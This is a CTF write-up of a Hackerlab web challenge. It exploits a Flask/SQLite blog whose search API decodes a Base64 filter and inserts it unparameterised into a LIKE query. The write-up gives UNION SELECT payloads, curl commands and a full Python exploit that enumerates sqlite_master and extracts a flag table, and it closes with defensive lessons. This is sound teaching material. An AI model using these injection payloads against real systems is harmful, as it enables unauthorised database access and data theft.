ПОСТимся (Posting/Fasting)
ПОСТимся (Posting/Fasting)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-14 | Status: Solved Techniques: api_parameter_injection, base64_encoding_bypass, sqlite_schema_enumeration, union_based_sqli
Summary
Task: Blog with search API that Base64-encodes filter parameter. Solution: UNION-based SQLi in SQLite via decoded filter interpolated directly into LIKE query, extract flag from sqlite_master enumeration.
ПОСТимся — Hackerlab CTF
Description
"Решил, что здесь я буду писать свои посты, но до конца ещё всё не оформил" (I decided this is where I'll write my posts, but I haven't finished setting everything up yet)
A web application — a blog with post search functionality. The search sends a POST request to an API endpoint with a Base64-encoded filter. The filter is directly interpolated into the SQL query without parameterization — a classic UNION-based SQL Injection in SQLite.
Target: http://62.173.140.174:16112 Stack: Flask/Werkzeug 3.1.5, Python 3.11.6, SQLite
Analysis
Application Architecture
Endpoints:
/— main page with search form/api/posts— GET, returns all posts (JSON)/api/posts/search— POST, search posts (JSON)
Client-Side Logic
JavaScript on the main page encodes the search query in Base64 before sending:
javascript read-only • copy allowedbtoa(unescape(encodeURIComponent(str)))
The request is sent as JSON:
json read-only • copy allowed{"filter": "<base64-encoded-query>"}
The server decodes Base64 and interpolates the value into the SQL query:
sql read-only • copy allowedSELECT ... FROM posts WHERE title LIKE '%<decoded_input>%'
Blog Content
GET /api/posts returns 3 posts:
- "Welcome to our blog" — introductory post
- "https://hackerlab.pro" — about CTF challenges
- "Security Best Practices" — a direct hint: "Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines."
The third post is an obvious hint about SQL Injection through lack of parameterized queries.
Confirming SQL Injection
- Wildcard
%— returned all posts, confirming the use ofLIKE - Single quote
'— error:
json read-only • copy allowed{"error": "unrecognized token: \"'\"", "success": false}
The unrecognized token error is characteristic of SQLite, confirming:
- SQLite as the DBMS
- Lack of input sanitization
- Direct interpolation into the SQL query
Solution
Step 1: Determining Column Count
Payload: ' UNION SELECT 1,2,3--
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16112/api/posts/search \ -H 'Content-Type: application/json' \ -d '{"filter": "'$(echo -n "' UNION SELECT 1,2,3--" | base64)'"}'
Response:
json read-only • copy allowed{"content": 3, "id": 1, "title": 2}
Confirmed: 3 columns — id (position 1), title (position 2), content (position 3).
Step 2: Extracting Database Schema
Payload: ' UNION SELECT 1,name,sql FROM sqlite_master--
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16112/api/posts/search \ -H 'Content-Type: application/json' \ -d '{"filter": "'$(echo -n "' UNION SELECT 1,name,sql FROM sqlite_master--" | base64)'"}'
Discovered tables:
| Table | Schema |
|---|---|
flag | CREATE TABLE flag (flag TEXT NOT NULL) |
posts | CREATE TABLE posts (id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, content TEXT NOT NULL) |
sqlite_sequence | (system) |
Step 3: Extracting the Flag
Payload: ' UNION SELECT 1,flag,3 FROM flag--
bash read-only • copy allowedcurl -s -X POST http://62.173.140.174:16112/api/posts/search \ -H 'Content-Type: application/json' \ -d '{"filter": "'$(echo -n "' UNION SELECT 1,flag,3 FROM flag--" | base64)'"}'
The flag is returned in the title field.
Full Exploit (Python)
python read-only • copy allowed#!/usr/bin/env python3 """UNION-based SQLi exploit for ПОСТимся (HackerLab)""" import requests import base64 import json TARGET = "http://62.173.140.174:16112" def sqli(payload: str) -> dict: """Send Base64-encoded SQLi payload to search API.""" encoded = base64.b64encode(payload.encode()).decode() r = requests.post( f"{TARGET}/api/posts/search", json={"filter": encoded} ) return r.json() # Step 1: Confirm injection — determine column count print("[*] Testing UNION SELECT with 3 columns...") result = sqli("' UNION SELECT 1,2,3--") print(f"[+] Column mapping: {json.dumps(result, indent=2)}") # Step 2: Enumerate tables print("\n[*] Extracting database schema...") result = sqli("' UNION SELECT 1,name,sql FROM sqlite_master--") print(f"[+] Tables found:") for post in result.get("posts", [result]): if isinstance(post, dict) and post.get("title"): print(f" {post['title']}: {post.get('content', 'N/A')}") # Step 3: Extract flag print("\n[*] Extracting flag from 'flag' table...") result = sqli("' UNION SELECT 1,flag,3 FROM flag--") for post in result.get("posts", [result]): if isinstance(post, dict) and post.get("title"): flag = post["title"] if "CODEBY" in str(flag): print(f"[+] FLAG: {flag}") break
Lessons
- Base64 is not protection: Encoding user input in Base64 on the client is obfuscation, not sanitization. After decoding on the server, the data still ends up in the SQL query without parameterization.
- Errors as reconnaissance: Detailed SQLite error messages (
unrecognized token) immediately reveal the DBMS type and confirm the injection. - Hints in content: The third post about "parameterised queries" is a direct indication of the vulnerability. In CTF, always read the application content.
sqlite_master— key to SQLite: The system tablesqlite_mastercontains the complete DB schema (table names and CREATE statements), allowing quick discovery of the target table.